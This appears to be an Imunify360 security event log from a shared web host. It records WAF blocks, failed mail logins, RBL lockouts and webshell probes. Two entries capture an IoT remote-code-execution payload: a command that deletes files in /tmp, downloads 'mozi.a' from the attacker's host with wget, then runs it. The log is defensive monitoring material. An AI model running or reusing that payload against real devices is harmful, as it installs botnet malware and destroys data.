country_id: 3996063
domain: www.store.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.store.oxbold.com/cgi-bin HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.169.7.146
country_id: 272103
domain: store.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/store.oxbold.com/cgi-bin/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 11:15:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59171: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.166.134.9
country_id: 1814991
description:
Jan 13 11:14:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.166.134.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.166.134.9
country_id: 1814991
description:
2026-01-13 11:14:46 dovecot_login authenticator failed for H=(9.134.166.220.broad.dy.sc.dynamic.163data.com.cn) [220.166.134.9]:50744: 535 Incorrect authentication data (set_id=bizdevelopment@mkmetal.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.252
country_id: 2510769
description:
Jan 13 11:14:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.252 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 11:15:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59171: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.222
country_id: 6290252
description:
Jan 13 11:15:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.222 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.140.38.110
country_id: 1269750
description:
Jan 13 11:16:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.140.38.110 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.75
country_id: 1880251
domain: dynamic-hr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/about.php||SC:/home2/dynamichrcom/public_html/images/about.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.140.38.110
country_id: 1269750
description:
2026-01-13 11:16:46 dovecot_login authenticator failed for H=(202.140.38.110.convergentindia.com) [202.140.38.110]:35236: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 11:18:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63217: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.182
country_id: 798544
description:
Jan 13 11:18:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.182 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.29.214.184
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=740138 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 11:18:11 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63217: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.96
country_id: 3469034
description:
Jan 13 11:18:26 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.216.66
country_id: 1269750
description:
Jan 13 11:19:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.216.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.216.66
country_id: 1269750
description:
2026-01-13 11:19:12 dovecot_login authenticator failed for H=([182.66.234.193]) [125.19.216.66]:38816: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.70.167.126
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=11 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 151.80.133.55
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/img/img/demos/img/photos/new-development.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77142262
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 45.230.66.101
country_id: 3865483
domain: 42.0.28.25:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.62||T:APACHE||MVN:REQUEST_URI||MV:/shell?cd /tmp;rm -rf *;wget http://45.230.66.101:11944/mozi.a;chmod 777 mozi.a;/tmp/mozi.a jaws||


plugin: modsec
rule: 77142265
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 45.230.66.101
country_id: 3865483
domain: 42.0.28.25:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.62||T:APACHE||MVN:MATCHED_VAR||MV:/shell?cd+/tmp;rm+-rf+*;wget+http:/45.230.66.101:11944/mozi.a;chmod+777+mozi.a;/tmp/mozi.a+jaws||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.231.165.129
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=899701 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.198
country_id: 3865483
description:
Jan 13 11:22:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.198 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.171.80.211
country_id: 3625428
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=626921 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.228.228
country_id: 1269750
description:
Jan 13 11:22:52 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.228.228 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.97.81
country_id: 3996063
description:
Jan 13 11:22:53 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.97.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.228
country_id: 1269750
description:
2026-01-13 11:22:54 dovecot_login authenticator failed for H=(nsg-corporate-228.228.187.122.airtel.in) [122.187.228.228]:39379: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.46.136
country_id: 953987
description:
Jan 13 11:23:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.46.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.97.81
country_id: 3996063
description:
Jan 13 11:23:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.97.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.198
country_id: 3865483
description:
Jan 13 11:23:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.198 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.71.145
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/finder/CHANGELOG.md HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.150.19.145
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=824962 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/img/about.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.235.115
country_id: 3865483
description:
Jan 13 11:26:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.235.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.63.223
country_id: 953987
description:
Jan 13 11:27:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.63.223 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:27:50 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37769: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.235.115
country_id: 3865483
description:
Jan 13 11:27:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.235.115 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:28:23 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37770: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.32.158
country_id: 3865483
description:
Jan 13 11:28:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.32.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.144.246.132
country_id: 798544
description:
Jan 13 11:28:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.144.246.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.204.187
country_id: 3469034
description:
Jan 13 11:28:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.204.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:29:50 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45821: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:30:23 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45822: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/demos/img/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:31:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37771: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 114.119.153.186
country_id: 1880251
domain: www.appointment.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/translation/Tests/fixtures/empty.ini||User:visoftcom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.36.95
country_id: 3469034
description:
Jan 13 11:31:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.36.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.30.113.241
country_id: 3175395
description:
Jan 13 11:32:40 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.30.113.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.43
country_id: 3469034
description:
Jan 13 11:32:57 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:33:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45829: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.248.149.21
country_id: 3175395
description:
Jan 13 11:33:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.248.149.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.81.154.194
country_id: 1269750
description:
Jan 13 11:33:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.81.154.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:33:19 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45830: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/career.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:34:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37774: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.37.116.70
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-34.198.37.116.70||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:34:27 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37775: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.157
country_id: 953987
description:
Jan 13 11:34:27 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.157 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.221.151.94
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=1&sub=27 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:36:12 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45833: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:37:24 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37776: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.131.252
country_id: 690791
description:
Jan 13 11:38:58 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.131.252 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.237.96.131
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=649112 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.131.252
country_id: 690791
description:
Jan 13 11:39:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.131.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.33.198
country_id: 226074
description:
Jan 13 11:39:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.33.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:39:28 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45837: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.52.211.184
country_id: 1694008
description:
Jan 13 11:40:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.52.211.184 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:40:20 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37779: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:40:38 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37779: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.250.149.25
country_id: 1269750
description:
Jan 13 11:41:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.250.149.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:41:14 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37780: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.82.128.100
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&page_id=1&sub=37 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/cdn-cgi/l/sitemap.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 11:43:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59232: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:42:43 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45841: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.254.73.188
country_id: 6252001
description:
Jan 13 11:42:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.254.73.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 11:43:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59232: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:43:20 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45842: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 11:43:34 H=([45.144.212.242]) [45.144.212.242]:52464 F=<no_reply@admin.com> rejected RCPT <garylee@autogreastar.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.162.95.222
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=634412 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.155.186.15
country_id: 1168579
domain: nobledec.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:89212.nobledec.com||ServerName:nobledec.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:623ebe92ada8edae0ac56f345c2bd47368993478||Title:0x244f61c4||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 11:46:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63262: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 11:46:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63262: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.202
country_id: 3469034
description:
Jan 13 11:49:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.202 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/cdn-cgi/l/sitemap.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.242
country_id: 6252001
description:
2026-01-13 11:48:35 2515897 [Warning] Aborted connection 2515897 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.242' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.123.201.14
country_id: 3573591
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=524261 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.186.81.70
country_id: 3923057
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=621414 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.202
country_id: 3469034
description:
Jan 13 11:49:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.202 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/introduction-service.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jan 13 11:49:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.133.158.225
country_id: 1733045
description:
[2026-01-13 11:49:50 +0800] info [webmaild] 115.133.158.225 - cle@ajplantations.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.26.147
country_id: 798544
description:
Jan 13 11:51:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.26.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.98.134.89
country_id: 2589581
domain: www.box.com.my
description:
